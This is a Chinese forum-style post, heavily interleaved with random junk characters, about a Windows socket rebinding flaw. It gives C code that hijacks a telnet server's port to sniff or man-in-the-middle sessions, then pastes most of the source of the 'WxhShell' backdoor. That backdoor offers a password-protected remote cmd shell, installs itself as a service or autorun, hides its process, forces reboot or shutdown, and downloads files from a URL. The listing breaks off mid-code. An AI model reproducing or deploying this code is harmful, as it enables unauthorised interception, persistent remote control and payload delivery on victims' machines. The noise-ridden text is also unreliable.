在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
pb60R|k s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/e\{
t HD saddr.sin_family = AF_INET;
`;,Pb&W~ p_*M:P1Ma4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~d{.ng 4K f"#m=_Xm bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
?i\B^uB R)?{]]v 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
HJ?+A-n/ WzW-pV] 这意味着什么?意味着可以进行如下的攻击:
D*5hrkV9 y<R= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
j;yf8Nf !2CL1j0( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
z9
u$~ k?BJdg)xJ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
xieP "6 5lKJll^2: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
%ugHhS! MJ<Jb ,D1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
{cK^,?x }y%`)lz~ ; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:H6FPV78 HC {XX>F^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+^aFs S "Y`3DxXz #include
B(k=oXDF #include
wmNHT _ #include
%x;x_ #include
r#PMy$7L DWORD WINAPI ClientThread(LPVOID lpParam);
$FH18 int main()
r90+,aLM#? {
n>,L=wV WORD wVersionRequested;
;:S&F DWORD ret;
e[u?_h WSADATA wsaData;
{",MCu_V BOOL val;
2 gq$C" SOCKADDR_IN saddr;
{s?M*_{| SOCKADDR_IN scaddr;
?)Nj c&G int err;
VO3pm6r5 SOCKET s;
5F+APz7 SOCKET sc;
K`}{0@ilCw int caddsize;
%Kh4m7 HANDLE mt;
8rZ!ia! DWORD tid;
CF!Sa 6 wVersionRequested = MAKEWORD( 2, 2 );
MmPU7Nl%X err = WSAStartup( wVersionRequested, &wsaData );
_3iHkQr if ( err != 0 ) {
=-cwXo{Q.O printf("error!WSAStartup failed!\n");
zo{/'BnU return -1;
EqiFy"H }
O-vGyNxP| saddr.sin_family = AF_INET;
sML=5=otx ,ea^,H6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
MfF~8 }TRAw#h saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!"Yj|Nu6 saddr.sin_port = htons(23);
{yAL+} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wCs^J48= {
Th[f9H% printf("error!socket failed!\n");
DF]9@{ return -1;
E"iUq }
[sV"ws val = TRUE;
}K1 0Po' //SO_REUSEADDR选项就是可以实现端口重绑定的
^{$FI`P if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<`X"}I3ba {
MiT}L printf("error!setsockopt failed!\n");
v dbO( return -1;
S>G?Q_&}?D }
-hcS]~F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
] G.%Ty //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
',3HlOJ: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
gwrYLZNGI p;)" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
XLk<*0tp {
rVvR!"//yH ret=GetLastError();
5hj
printf("error!bind failed!\n");
VpfUm?Nq return -1;
'X).y1' }
0<"k8
k@J listen(s,2);
<tpmUA[] while(1)
'crlA~/ {
c5q9LQ/ caddsize = sizeof(scaddr);
5wB => //接受连接请求
[L`ZE*z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
0C<[9Dl.G8 if(sc!=INVALID_SOCKET)
>FjR9B {
7qO a
;^T mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
exh/CK4; if(mt==NULL)
|Z\R*b" {
N- e$^pST printf("Thread Creat Failed!\n");
wHZW ` break;
j1?j6s }
.M,RFC }
~"pKe~h CloseHandle(mt);
kh~'Cn "O }
Mwb/jTp closesocket(s);
;Mm7n12z C WSACleanup();
^L1L=c;, return 0;
D.D$#O_n.S }
WH ?}~u9 DWORD WINAPI ClientThread(LPVOID lpParam)
'ckQg=zPR {
,y4I[[ SOCKET ss = (SOCKET)lpParam;
#Lsnr.80 SOCKET sc;
O1%pxX'`S unsigned char buf[4096];
a8u9aEB SOCKADDR_IN saddr;
J]W5[)L long num;
<9ig?{' DWORD val;
CO-_ea U( DWORD ret;
GWsE; //如果是隐藏端口应用的话,可以在此处加一些判断
rqv))Zo` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{l_{T4xToB saddr.sin_family = AF_INET;
NW~z&8L saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
c,so`I3rI saddr.sin_port = htons(23);
u$%t)2+$4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~pa!w?/bQ {
IJTtqo printf("error!socket failed!\n");
Qjx?ri// return -1;
s?8<50s }
9[!,c`pw val = 100;
u&G.4QQF if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(>J4^``x= {
MRU7W4W-~/ ret = GetLastError();
s}5cSU!| return -1;
!$2Z-! }
$'W}aER if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&aM7T_h8 {
ly% F."v ret = GetLastError();
ob+euCuJ return -1;
f>'Y(dJ'W }
T5urZq*R if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+% /s*EC'w {
0CSv10Tg printf("error!socket connect failed!\n");
Iff9'TE closesocket(sc);
'c\iK=fl closesocket(ss);
I%|>2}-_U return -1;
ntNI]~z& }
R1&unm0 while(1)
=U|N=/y#hJ {
1+b{}d //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'|;X0fD //如果是嗅探内容的话,可以再此处进行内容分析和记录
e \O/H< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'=][J_ num = recv(ss,buf,4096,0);
~['Kgh_; if(num>0)
yH][(o=2 send(sc,buf,num,0);
2r$#m* else if(num==0)
+C7 ~b~ % break;
NM)k/?fA num = recv(sc,buf,4096,0);
**69rN if(num>0)
{M,,npl send(ss,buf,num,0);
TW !&p"Us+ else if(num==0)
(&$VxuJ+6y break;
!lo/xQ< }
cj11S>D closesocket(ss);
iy""(c closesocket(sc);
>#ZUfm{k$ return 0 ;
^
9!!;) }
h|X^dQb] $ d?.2Kg VDTcR ==========================================================
KfF!{g f >u9Nz0?j 下边附上一个代码,,WXhSHELL
Uye|9/w8 ! W0I#\b18 ==========================================================
z;@*r}H 9Fn\FYUq #include "stdafx.h"
!8`3GX:B_ ;#w3{
NB #include <stdio.h>
V I%
6.6D #include <string.h>
U]a*uF~h #include <windows.h>
vn/.}GkpU #include <winsock2.h>
H@]MXP[_ #include <winsvc.h>
8enEA^ #include <urlmon.h>
:[;hu}!& [w ;kkMJAy #pragma comment (lib, "Ws2_32.lib")
ybp -$e #pragma comment (lib, "urlmon.lib")
<w3!!+oK" Z"unF9`"1 #define MAX_USER 100 // 最大客户端连接数
g^zs,4pPU< #define BUF_SOCK 200 // sock buffer
r'gOVi4t1* #define KEY_BUFF 255 // 输入 buffer
{v3P9s( O12eH #define REBOOT 0 // 重启
g+X}c/". #define SHUTDOWN 1 // 关机
k4 F"'N Cu6%h>@K$ #define DEF_PORT 5000 // 监听端口
2wF8 P) vv26I #define REG_LEN 16 // 注册表键长度
^n0]dizB #define SVC_LEN 80 // NT服务名长度
/dnCwFXf ON+J>$[[ // 从dll定义API
jt+iv*2N> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
uslQ*7S[^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+}jJ&Z9) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
XrZ*1V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
1?Z4K/ ;;&}5jcV // wxhshell配置信息
hlt[\LP=$ struct WSCFG {
n_'{^6*O int ws_port; // 监听端口
S6fb f>[ char ws_passstr[REG_LEN]; // 口令
cu+FM int ws_autoins; // 安装标记, 1=yes 0=no
[z7bixN char ws_regname[REG_LEN]; // 注册表键名
I!^O)4QRx char ws_svcname[REG_LEN]; // 服务名
fFQ|T:vm char ws_svcdisp[SVC_LEN]; // 服务显示名
p,"g+ MwP char ws_svcdesc[SVC_LEN]; // 服务描述信息
6AocmR0D' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
qWb+r int ws_downexe; // 下载执行标记, 1=yes 0=no
=*Bl|;>6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/*0K92NB char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7`u$ y(
y8+ZT };
B#9{-t3Vf ?IpLf\n- // default Wxhshell configuration
(W}bG>!#Q8 struct WSCFG wscfg={DEF_PORT,
>rvQw63\ "xuhuanlingzhe",
}f2r!7:x 1,
U(x]O/m "Wxhshell",
m8.U &0 "Wxhshell",
2#k5+?-c61 "WxhShell Service",
AlJ} >u "Wrsky Windows CmdShell Service",
NVRLrJWpp "Please Input Your Password: ",
u]OW8rc 1,
kZ"BBJ6w "
http://www.wrsky.com/wxhshell.exe",
=FD;~ "Wxhshell.exe"
B5$kHM%p };
:,)lm.}]t <F04GO\ // 消息定义模块
"jw<V,, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
T1H"\+ char *msg_ws_prompt="\n\r? for help\n\r#>";
J`2"KzR0w" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
)m. 4i =X char *msg_ws_ext="\n\rExit.";
={u0_j
W char *msg_ws_end="\n\rQuit.";
u(G*\<z- char *msg_ws_boot="\n\rReboot...";
V*~Zs'L'E char *msg_ws_poff="\n\rShutdown...";
mkR2i> char *msg_ws_down="\n\rSave to ";
#KO,~]k5|e ,~._}E&9I char *msg_ws_err="\n\rErr!";
%; D.vKoh char *msg_ws_ok="\n\rOK!";
xMBaVlEN jRatm.N char ExeFile[MAX_PATH];
LW(6$hpPp int nUser = 0;
!kC*g HANDLE handles[MAX_USER];
n93=8;& int OsIsNt;
9YBv|A TjG4`:*y#m SERVICE_STATUS serviceStatus;
aFLO{t r` SERVICE_STATUS_HANDLE hServiceStatusHandle;
HJY2#lSha6 :<|<|qJWo // 函数声明
ccL~#c0P7 int Install(void);
3'X.}>o int Uninstall(void);
h;0S%ZC int DownloadFile(char *sURL, SOCKET wsh);
/soKucN"h int Boot(int flag);
+$Rt+S BD void HideProc(void);
I"`M@ % int GetOsVer(void);
e>AE8T int Wxhshell(SOCKET wsl);
{`w;39$+ void TalkWithClient(void *cs);
R=KQ int CmdShell(SOCKET sock);
PsZ
>P|e1 int StartFromService(void);
|n] d34E int StartWxhshell(LPSTR lpCmdLine);
'g{9@PkGn Ox-|JJ= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
jQ)T6 7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
)l#E}Uz ^,]B@t2 // 数据结构和表定义
Sr?#S SERVICE_TABLE_ENTRY DispatchTable[] =
LlSZr)X {
`[n("7, {wscfg.ws_svcname, NTServiceMain},
v~Y^r2 {NULL, NULL}
+[tP_%/r'^ };
}m-FGk '{B!6|"X // 自我安装
b3VS\[p int Install(void)
-!
K-Htb- {
uAWM\? char svExeFile[MAX_PATH];
Zcc9e03 HKEY key;
`Ry]y"K strcpy(svExeFile,ExeFile);
p
l&Muv ]EpWSs!"g // 如果是win9x系统,修改注册表设为自启动
~#/hzS if(!OsIsNt) {
LWt&3
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c?@T1h4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
OiP!vn}k RegCloseKey(key);
&/Q0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u#@Q:tnN_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?)#5X_V-q RegCloseKey(key);
mbueP.q[? return 0;
.AU)*7Gh }
',S'.U }
[#sz WNfU }
cSm%s else {
Nj 00W1 (V HL{rj // 如果是NT以上系统,安装为系统服务
>orK';r< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Gmz6$^D if (schSCManager!=0)
?pzaG{ {
7!N2-6GV SC_HANDLE schService = CreateService
lMbAs.! (
Q0ON9gqqv schSCManager,
\0gM o& wscfg.ws_svcname,
(zFi$ wscfg.ws_svcdisp,
VZl6t;cn SERVICE_ALL_ACCESS,
Qg<(u?7N SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.?hP7;hhI SERVICE_AUTO_START,
d09k5$=gJ SERVICE_ERROR_NORMAL,
cx0*X* svExeFile,
GbaEgA'fa NULL,
f-71~ NULL,
x UD-iSY NULL,
0/oyf]HR NULL,
Ny%(VI5: NULL
c=`wg$2:5 );
~Onoe $A[< if (schService!=0)
ih;]nJ]+- {
,1"KHv CloseServiceHandle(schService);
}O4^Cc6 CloseServiceHandle(schSCManager);
0p\@!Z H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(/j); oSK strcat(svExeFile,wscfg.ws_svcname);
W!&vul5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
qC?:*CXH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
aX }P|l RegCloseKey(key);
@$+ecaVW return 0;
qhz]Wm P }
QD>"]ap,o }
>#y^;/bb CloseServiceHandle(schSCManager);
EB8\_]6XJ }
v*[.a#1^ }
B[4KX G-.^O,% return 1;
<z!CDg4 }
$+I;oHWI \<)9?M : // 自我卸载
sK5r$Dbr int Uninstall(void)
E!P yL>){ {
b^$|Nz;
HKEY key;
L#
2+z@g ]h5Yg/sms if(!OsIsNt) {
CtS l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\0f{S40 RegDeleteValue(key,wscfg.ws_regname);
@ >U-t{W RegCloseKey(key);
E L9]QI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/Dj=iBO RegDeleteValue(key,wscfg.ws_regname);
<h'5cO RegCloseKey(key);
uPl\I6k return 0;
`p;I} }
-B$2\ZE }
AQiwugs }
&Ob!4+v/GP else {
$
.
9V& q*7VqB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
vsl]92xI if (schSCManager!=0)
x"
L20} {
:FTMmW,>' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
eF3,2DDC if (schService!=0)
{>)#HD {
!_cg\KU# if(DeleteService(schService)!=0) {
E`uY1B[c CloseServiceHandle(schService);
SF<c0bR9 CloseServiceHandle(schSCManager);
%Va!\# return 0;
rMhB9zB1 }
pxh"B\"4* CloseServiceHandle(schService);
csW43& }
L=sYLC6d CloseServiceHandle(schSCManager);
~"kb7Fxp }
n*{sTT }
<t
\H^H!
N#a$t& return 1;
DRi<6Ob }
`,(,tn_ Nqa&_5" // 从指定url下载文件
q;][5 int DownloadFile(char *sURL, SOCKET wsh)
4QIX19{" {
G%W8S
\ HRESULT hr;
Z
Z:}AQ char seps[]= "/";
j4uvS! char *token;
OD6\Mr2= char *file;
sv&;Y\2c char myURL[MAX_PATH];
ub\MlSr char myFILE[MAX_PATH];
1NgCw\ 9vvx*rD strcpy(myURL,sURL);
YLzx<~E4a token=strtok(myURL,seps);
2-Ej4I~ while(token!=NULL)
W1|0Yd ;P {
zIu
E9l file=token;
EH!
q=&d token=strtok(NULL,seps);
+2&@x=xy }
a+Kj1ix
`yH<E+ GetCurrentDirectory(MAX_PATH,myFILE);
tAv@R&W, strcat(myFILE, "\\");
e(GP^oK strcat(myFILE, file);
mSb#Nn6W send(wsh,myFILE,strlen(myFILE),0);
Ke2ccN send(wsh,"...",3,0);
\Yc'~2n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
0,89H4 if(hr==S_OK)
f>UXD return 0;
E(8*
pI else
+>{Y.`a;Jo return 1;
pw)||Q P;ci9vk }
+
|#O@k
c_'OPJ // 系统电源模块
\Ani}qQ%| int Boot(int flag)
<4g{ fT0 {
F|e1"PkeoA HANDLE hToken;
rp!oO>F TOKEN_PRIVILEGES tkp;
1]@}|
noml8o if(OsIsNt) {
V`XNDNJ: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
K,:cJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ECrex>zr% tkp.PrivilegeCount = 1;
uP~@U" ! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Vt".%d/`7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
+~mA}psr if(flag==REBOOT) {
~l]ve,W[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
{pnS Q return 0;
0+kH:dP{ }
I uMQ9& else {
Tk:h@F|B.| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
=,_ +0M9 return 0;
LIvFx| }
H1QJk_RL }
iV *q2<> else {
0 Tx{3# if(flag==REBOOT) {
CzRc%%BA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
hog=ut return 0;
pEIRh1 }
GS a[
oh else {
)GM41t1i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[BqHx5Xz( return 0;
z8SmkL }
e%@~MQ- }
>aj7||K > dI LF return 1;
UQC=g }
Vr^n1sgE}r kT"Kyd // win9x进程隐藏模块
+'I+o5* void HideProc(void)
W;'!gpa {
VcSVu \KQ71yqY HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
+zaA,e?\ if ( hKernel != NULL )
/
zB0J? {
=/y]d<g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
a1+#3X. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X[PZg{ FreeLibrary(hKernel);
2[RoxKm }
%.^_Ps0 T_@K&< return;
@` 1Ds }
d%RC |
r&k48@ // 获取操作系统版本
!Wy6/F@Z int GetOsVer(void)
Vzdh8)Mu\ {
#Ssx!+q? OSVERSIONINFO winfo;
mpuq 9)6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
YaKeq5%y GetVersionEx(&winfo);
Tgm nG/Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
M<.d8?p ) return 1;
QS` PpyBkd else
G~2jUyv return 0;
E_])E`BJ }
4E]l{"k< aWWU4xe // 客户端句柄模块
mKL<<L[ int Wxhshell(SOCKET wsl)
Li/O {
rV R1wsaL SOCKET wsh;
A: 5x| struct sockaddr_in client;
.TND a& DWORD myID;
K]s[5 C":32_q while(nUser<MAX_USER)
Gb#Cm] {
>L;eO'D int nSize=sizeof(client);
*W0y: 3dB3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
kI
4MiK if(wsh==INVALID_SOCKET) return 1;
jkiFLtB@V bx{$Y_L+p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
w)kNkD if(handles[nUser]==0)
dZ rAn closesocket(wsh);
aqRhh=iS else
+cgSC5nR nUser++;
RrX[|GLSJ }
2ORNi,_I WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\ 3wfwu.q j9?}j#@ return 0;
EQb7-vhg }
3DiLk=\~ wQP^WzNE // 关闭 socket
e vrXo"3 void CloseIt(SOCKET wsh)
[SHXJ4P* {
i'H/ZwU closesocket(wsh);
n>+mL"hs nUser--;
ryW'Z{+r' ExitThread(0);
~$:|VHl }
"HElB9 lef2 X1w}! // 客户端请求句柄
(l-tvk4Ln void TalkWithClient(void *cs)
M)'HCnvs' {
)6,de2Pb yj;sSRT SOCKET wsh=(SOCKET)cs;
kzn5M&f> char pwd[SVC_LEN];
dv8>[# char cmd[KEY_BUFF];
U3T#6Rptl char chr[1];
cC=[Saatsf int i,j;
3 Nreqq 42e|LUZg while (nUser < MAX_USER) {
SM0~fAtE W-x?:X<} if(wscfg.ws_passstr) {
\
e\?I9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{QcLu"?c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
gVq;m>\|F //ZeroMemory(pwd,KEY_BUFF);
4L ;% h i=0;
WHsgjvh" while(i<SVC_LEN) {
tBq
nfv pm*xb]8y // 设置超时
k9:{9wW fd_set FdRead;
y.e^h RKb struct timeval TimeOut;
o<<xY< FD_ZERO(&FdRead);
1rv)&tKs FD_SET(wsh,&FdRead);
])|d"[ur= TimeOut.tv_sec=8;
//T>G_1 TimeOut.tv_usec=0;
M9V
q
-U18 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
rR9|6l
3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
mef<=5t [5zx17' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
T&%ux=Jt pwd
=chr[0]; Kqp(%8mf
if(chr[0]==0xd || chr[0]==0xa) { G;v8$)Zj
pwd=0; #33fGmd[
break; jhXkSj
} Q<h-FW8z
i++; yaah*1ip[
} 9K5pwC\$%
),U X4%K=
// 如果是非法用户,关闭 socket E~%jX
}/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U}6.h&$
} u.mJQDTH
X%Z{K-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @y='^DQ*
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9:ze{ c $
LQtj~c>X-|
while(1) { |zQ4u
P;P%n
ZeroMemory(cmd,KEY_BUFF); g .onTFwN
lJu;O/
// 自动支持客户端 telnet标准 J?Ra bYd ~
j=0; KNS.Nw7
while(j<KEY_BUFF) { W=#:.Xj[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !n*
+(lZ
cmd[j]=chr[0]; 9Wnn'T@Tl
if(chr[0]==0xa || chr[0]==0xd) { +?u~APjNN
cmd[j]=0; HG+%HUO$
break; ]bj&bk#
} .q
`Hjmg<
j++; Xe<sJ.&Wf
} ]$Yvj!K*Q
Fs{x(_LOr
// 下载文件 q;<h[b?
if(strstr(cmd,"http://")) { _CW(PsfY
send(wsh,msg_ws_down,strlen(msg_ws_down),0); :uWw8`
if(DownloadFile(cmd,wsh)) v}1QH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \^ZlG.
else P%{^ i]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1QLbf*zeIW
} |+iws8xK?
else { txiP!+3OWB
k.uMp<)D
switch(cmd[0]) { zaah^.MA|
MYla OT
// 帮助 ^Wc@oa`
case '?': {
0Uo\wyd
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J4Nln
break; AtdlZ
} ]|MEx{BG-
// 安装 .Xce9C0SW
case 'i': { ( M7pT
if(Install()) x|mqL-Q f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <_3b1VhZ
else |&FkksNAl\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wQe_vY
break; 9?0^ap,T
} 2Ou[u#H
// 卸载 l-SAC3qhG
case 'r': { Ag&0wN+jTM
if(Uninstall()) t^6dzrF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =&,]Z6{>
else +pR[U4$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kuol rfGB
break; ;?8_G%va
} J@4 Bf
// 显示 wxhshell 所在路径 xYmxc9)2
case 'p': { ,=Mt`aN
char svExeFile[MAX_PATH];
|QU <e
strcpy(svExeFile,"\n\r"); }
\XfH
strcat(svExeFile,ExeFile); 9\/xOwR
send(wsh,svExeFile,strlen(svExeFile),0); f7=((5N
break; NMa}
<
} p(~Yx3$*
// 重启 i(iXD
case 'b': { ~nrK>%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0URji~?|x
if(Boot(REBOOT)) c&AygqN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (CsD*U`h
else { qMLD)rL
closesocket(wsh); dR"@`
ExitThread(0); d5oIH
} Y8o)FVcyNy
break; Qk,I^1w?7
} ch0{+g&
// 关机 w)Q0_2p.
case 'd': { Vl:^>jTki
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D'J0wT#
if(Boot(SHUTDOWN)) CbwJd5tk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -F<Wd/Xse
else { ](&{:>RNJ
closesocket(wsh); O+]Ifm [
ExitThread(0); |h;0H`
} ;~D)~=|ZZ
break; ly:q6i
} n2oz"<?$S
// 获取shell K2J\awX
case 's': { 3+ @<lVew6
CmdShell(wsh); tD+9kf2
closesocket(wsh); UazP6^{L
ExitThread(0); jV4\A
break;
\4v]7SV
} yt.F\ [1
// 退出 y~F,0"N\r
case 'x': { ie2WL\tR4
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _i20|v
CloseIt(wsh); Y*H|?uNF
break; go'-5in(
} P@9t;dZN
// 离开 RLLTw ?]$
case 'q': { cNM3I,o7
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T[j#M+p
closesocket(wsh); X{\F;Cb*
WSACleanup(); `NgAT
3zq
exit(1); nv@8tdrc
break; ~c %hWt
} hM{{\yZS
} Uc@Ao:
} 4`!Z$kt
B2C$N0R#
// 提示信息 JV]^zW
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OH">b6>\
} ?XA2&
} /f|X(docI
[3{W^WSOz
return; ]Bjyi[#bg
} XpBj%e:
d`
jjGEj
// shell模块句柄 qzf!l"bT
int CmdShell(SOCKET sock) 2T V X)q<\
{ m^GJuPLW
STARTUPINFO si; Si6al78
ZeroMemory(&si,sizeof(si)); LIZRoG8
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =o& >fw
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K':K{ee>
PROCESS_INFORMATION ProcessInfo; YKO){f5
char cmdline[]="cmd"; ;#oie<
Vit
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `Ye\p6v!+
return 0; <8d^^0
} <N_+=_
QlO0qbG[y
// 自身启动模式 RPE5K:P
int StartFromService(void) il:$sd
{ E )5E$
typedef struct A-T]9f9
{ 2JJ"O|Ibz
DWORD ExitStatus; L1Iz<>
DWORD PebBaseAddress; }>VG~u8
DWORD AffinityMask; d5D$&5Ec
DWORD BasePriority; ?34 e-
ULONG UniqueProcessId; iVy7elT;R
